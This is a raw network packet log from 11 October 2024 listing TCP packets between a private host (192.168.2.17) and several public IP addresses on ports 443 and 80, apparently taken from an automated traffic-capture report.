Oct 11, 2024 15:53:50.676983118 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.677000046 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.679831028 CEST	49728	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.679920912 CEST	443	49728	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.680001974 CEST	49728	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.680207014 CEST	49728	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.680239916 CEST	443	49728	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.043034077 CEST	443	49727	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:51.043392897 CEST	49727	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:51.043406010 CEST	443	49727	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:51.043749094 CEST	443	49727	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:51.044126034 CEST	49727	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:51.044183969 CEST	443	49727	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:51.044275045 CEST	49727	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:51.087424040 CEST	443	49727	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:51.124699116 CEST	49729	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.124747992 CEST	443	49729	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.124838114 CEST	49729	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.125071049 CEST	49729	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.125089884 CEST	443	49729	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.135811090 CEST	443	49728	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.136131048 CEST	49728	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.136171103 CEST	443	49728	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.136646986 CEST	443	49728	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.136993885 CEST	49728	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.137077093 CEST	443	49728	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.137151003 CEST	49728	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.172621965 CEST	443	49727	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:51.172707081 CEST	443	49727	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:51.172775030 CEST	49727	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:51.176855087 CEST	49727	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:51.176876068 CEST	443	49727	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:51.179423094 CEST	443	49728	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.260440111 CEST	443	49728	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.260524035 CEST	443	49728	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.260618925 CEST	49728	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.262485981 CEST	49728	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.262507915 CEST	443	49728	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.674746990 CEST	443	49729	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.675045013 CEST	49729	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.675079107 CEST	443	49729	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.675779104 CEST	443	49729	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.676156044 CEST	49729	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.676249027 CEST	443	49729	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.676337004 CEST	49729	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.719417095 CEST	443	49729	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.824373960 CEST	443	49729	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.824472904 CEST	443	49729	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.824553013 CEST	443	49729	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:51.824651957 CEST	49729	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.824651957 CEST	49729	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.825094938 CEST	49729	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:51.825120926 CEST	443	49729	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.024698019 CEST	49730	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.024755955 CEST	443	49730	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.024838924 CEST	49730	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.025085926 CEST	49730	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.025105000 CEST	443	49730	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.487343073 CEST	443	49730	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.487700939 CEST	49730	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.487768888 CEST	443	49730	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.488924026 CEST	443	49730	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.489243031 CEST	49730	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.489367008 CEST	49730	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.489386082 CEST	443	49730	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.489459038 CEST	443	49730	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.541238070 CEST	49730	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.632716894 CEST	443	49730	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.632803917 CEST	443	49730	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.632863998 CEST	49730	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.633646011 CEST	49730	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.633697033 CEST	443	49730	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.636297941 CEST	49731	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.636348009 CEST	443	49731	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.636411905 CEST	49731	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.636626959 CEST	49731	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.636641979 CEST	443	49731	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.795335054 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.795397043 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:52.795485020 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.795710087 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:52.795722961 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.092889071 CEST	443	49731	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.093166113 CEST	49731	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.093226910 CEST	443	49731	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.093535900 CEST	443	49731	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.093815088 CEST	49731	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.093873978 CEST	443	49731	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.093920946 CEST	49731	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.133258104 CEST	49731	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.133265972 CEST	443	49731	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.230329990 CEST	443	49731	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.230508089 CEST	443	49731	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.230593920 CEST	49731	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.231097937 CEST	49731	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.231132030 CEST	443	49731	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.260436058 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.260727882 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.260747910 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.261238098 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.261532068 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.261607885 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.261645079 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.261742115 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.261776924 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.261888027 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.261917114 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.508299112 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.508349895 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.508383036 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.508395910 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.508410931 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.508440971 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.508456945 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.508527994 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.508558035 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.508563042 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.508593082 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.508626938 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.508630991 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.508929968 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.508964062 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.508968115 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.548319101 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.548401117 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.595132113 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.595180988 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.595212936 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.595259905 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.595284939 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.595297098 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.595319986 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.595338106 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.595341921 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.595407009 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.595444918 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.595453024 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.595458031 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.595490932 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.595495939 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.595558882 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.595598936 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.600064993 CEST	49732	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.600085020 CEST	443	49732	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.623940945 CEST	49733	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.623991013 CEST	443	49733	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:53.624083042 CEST	49733	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.627985001 CEST	49733	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:53.627999067 CEST	443	49733	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:54.101222038 CEST	443	49733	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:54.101538897 CEST	49733	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:54.101576090 CEST	443	49733	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:54.101962090 CEST	443	49733	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:54.102264881 CEST	49733	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:54.102376938 CEST	443	49733	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:54.102396965 CEST	49733	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:54.143397093 CEST	443	49733	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:54.156291962 CEST	49733	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:54.239085913 CEST	443	49733	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:54.239191055 CEST	443	49733	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:54.239258051 CEST	49733	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:54.239675999 CEST	49733	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:54.239695072 CEST	443	49733	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:54.438702106 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:54.438728094 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:54.438832998 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:54.440529108 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:54.440562010 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.112452030 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.112552881 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:55.116218090 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:55.116228104 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.116537094 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.162281036 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:55.181189060 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:55.223423958 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.402698040 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.402757883 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.402781010 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.402822018 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.402854919 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.402920961 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:55.402920961 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:55.402920961 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:55.402936935 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.402977943 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:55.403292894 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.403347969 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:55.403353930 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.403497934 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.403544903 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:55.413419962 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:55.413451910 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:55.413573027 CEST	49734	443	192.168.2.17	20.109.210.53
Oct 11, 2024 15:53:55.413580894 CEST	443	49734	20.109.210.53	192.168.2.17
Oct 11, 2024 15:53:57.454596996 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 11, 2024 15:53:57.758291960 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 11, 2024 15:53:58.366288900 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 11, 2024 15:53:58.747662067 CEST	443	49718	142.250.186.68	192.168.2.17
Oct 11, 2024 15:53:58.747721910 CEST	443	49718	142.250.186.68	192.168.2.17
Oct 11, 2024 15:53:58.747817039 CEST	49718	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:53:59.578339100 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 11, 2024 15:53:59.584045887 CEST	49740	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:53:59.584085941 CEST	443	49740	184.28.90.27	192.168.2.17
Oct 11, 2024 15:53:59.584227085 CEST	49740	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:53:59.585417986 CEST	49740	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:53:59.585448980 CEST	443	49740	184.28.90.27	192.168.2.17
Oct 11, 2024 15:53:59.627801895 CEST	49718	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:53:59.627840042 CEST	443	49718	142.250.186.68	192.168.2.17
Oct 11, 2024 15:54:00.288239002 CEST	443	49740	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:00.288383961 CEST	49740	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:00.291405916 CEST	49740	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:00.291413069 CEST	443	49740	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:00.291657925 CEST	443	49740	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:00.338234901 CEST	49740	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:00.379394054 CEST	443	49740	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:00.614656925 CEST	443	49740	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:00.614723921 CEST	443	49740	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:00.614849091 CEST	49740	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:00.614886045 CEST	443	49740	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:00.614898920 CEST	49740	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:00.614906073 CEST	443	49740	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:00.652966976 CEST	49741	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:00.653063059 CEST	443	49741	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:00.653333902 CEST	49741	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:00.653553009 CEST	49741	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:00.653573990 CEST	443	49741	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:01.597261906 CEST	443	49741	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:01.597371101 CEST	49741	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:01.598350048 CEST	49741	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:01.598360062 CEST	443	49741	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:01.598576069 CEST	443	49741	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:01.599435091 CEST	49741	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:01.607604980 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 11, 2024 15:54:01.643450975 CEST	443	49741	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:01.910337925 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 11, 2024 15:54:01.932801008 CEST	443	49741	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:01.932895899 CEST	443	49741	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:01.933032036 CEST	49741	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:01.933621883 CEST	49741	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:01.933662891 CEST	443	49741	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:01.933693886 CEST	49741	443	192.168.2.17	184.28.90.27
Oct 11, 2024 15:54:01.933708906 CEST	443	49741	184.28.90.27	192.168.2.17
Oct 11, 2024 15:54:01.990808964 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 11, 2024 15:54:02.518327951 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 11, 2024 15:54:03.733398914 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 11, 2024 15:54:06.146348953 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 11, 2024 15:54:06.802344084 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 11, 2024 15:54:10.065550089 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 11, 2024 15:54:10.369420052 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 11, 2024 15:54:10.960362911 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 11, 2024 15:54:10.976378918 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 11, 2024 15:54:12.189459085 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 11, 2024 15:54:14.600419044 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 11, 2024 15:54:16.403542042 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 11, 2024 15:54:19.405530930 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 11, 2024 15:54:20.572341919 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 11, 2024 15:54:20.572359085 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 11, 2024 15:54:20.577492952 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 11, 2024 15:54:20.673162937 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 11, 2024 15:54:20.673274040 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 11, 2024 15:54:20.676520109 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 11, 2024 15:54:20.676605940 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 11, 2024 15:54:20.676779985 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 11, 2024 15:54:20.676799059 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 11, 2024 15:54:20.676836014 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 11, 2024 15:54:20.682159901 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 11, 2024 15:54:20.682581902 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 11, 2024 15:54:20.683119059 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 11, 2024 15:54:20.683146954 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 11, 2024 15:54:20.683172941 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 11, 2024 15:54:20.683199883 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 11, 2024 15:54:20.776432037 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 11, 2024 15:54:20.776552916 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 11, 2024 15:54:20.908943892 CEST	443	49691	204.79.197.200	192.168.2.17
Oct 11, 2024 15:54:20.909023046 CEST	49691	443	192.168.2.17	204.79.197.200
Oct 11, 2024 15:54:20.985754967 CEST	49742	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:20.985806942 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:20.985867977 CEST	49742	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:20.987673044 CEST	49742	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:20.987687111 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:21.253206968 CEST	49743	443	192.168.2.17	13.107.5.88
Oct 11, 2024 15:54:21.253258944 CEST	443	49743	13.107.5.88	192.168.2.17
Oct 11, 2024 15:54:21.253334045 CEST	49743	443	192.168.2.17	13.107.5.88
Oct 11, 2024 15:54:21.289913893 CEST	49743	443	192.168.2.17	13.107.5.88
Oct 11, 2024 15:54:21.289943933 CEST	443	49743	13.107.5.88	192.168.2.17
Oct 11, 2024 15:54:21.799752951 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:21.799845934 CEST	49742	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:21.850254059 CEST	49742	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:21.850308895 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:21.851274967 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:21.853032112 CEST	49742	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:21.853108883 CEST	49742	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:21.853209972 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:21.894824982 CEST	443	49743	13.107.5.88	192.168.2.17
Oct 11, 2024 15:54:21.894932985 CEST	49743	443	192.168.2.17	13.107.5.88
Oct 11, 2024 15:54:21.898978949 CEST	49743	443	192.168.2.17	13.107.5.88
Oct 11, 2024 15:54:21.899008989 CEST	443	49743	13.107.5.88	192.168.2.17
Oct 11, 2024 15:54:21.899482965 CEST	443	49743	13.107.5.88	192.168.2.17
Oct 11, 2024 15:54:21.948092937 CEST	49743	443	192.168.2.17	13.107.5.88
Oct 11, 2024 15:54:21.995414019 CEST	443	49743	13.107.5.88	192.168.2.17
Oct 11, 2024 15:54:22.051450968 CEST	443	49743	13.107.5.88	192.168.2.17
Oct 11, 2024 15:54:22.051846981 CEST	443	49743	13.107.5.88	192.168.2.17
Oct 11, 2024 15:54:22.051940918 CEST	49743	443	192.168.2.17	13.107.5.88
Oct 11, 2024 15:54:22.056648970 CEST	49743	443	192.168.2.17	13.107.5.88
Oct 11, 2024 15:54:22.233407021 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:22.233469963 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:22.233524084 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:22.233546972 CEST	49742	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:22.233563900 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:22.233604908 CEST	49742	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:22.233611107 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:22.233741045 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:22.233808994 CEST	49742	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:22.234148979 CEST	49742	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:22.234165907 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:22.234180927 CEST	49742	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:22.234188080 CEST	443	49742	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:22.367271900 CEST	49744	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:22.367372036 CEST	443	49744	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:22.367482901 CEST	49744	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:22.367666006 CEST	49744	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:22.367688894 CEST	443	49744	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:23.125765085 CEST	443	49744	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:23.126353979 CEST	49744	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:23.126401901 CEST	443	49744	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:23.127250910 CEST	49744	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:23.127266884 CEST	443	49744	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:23.127331972 CEST	49744	443	192.168.2.17	40.126.31.71
Oct 11, 2024 15:54:23.127351999 CEST	443	49744	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:23.424449921 CEST	443	49744	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:23.424488068 CEST	443	49744	40.126.31.71	192.168.2.17
Oct 11, 2024 15:54:23.424554110 CEST	443	49744	40.126.31.71	192.168.2.17
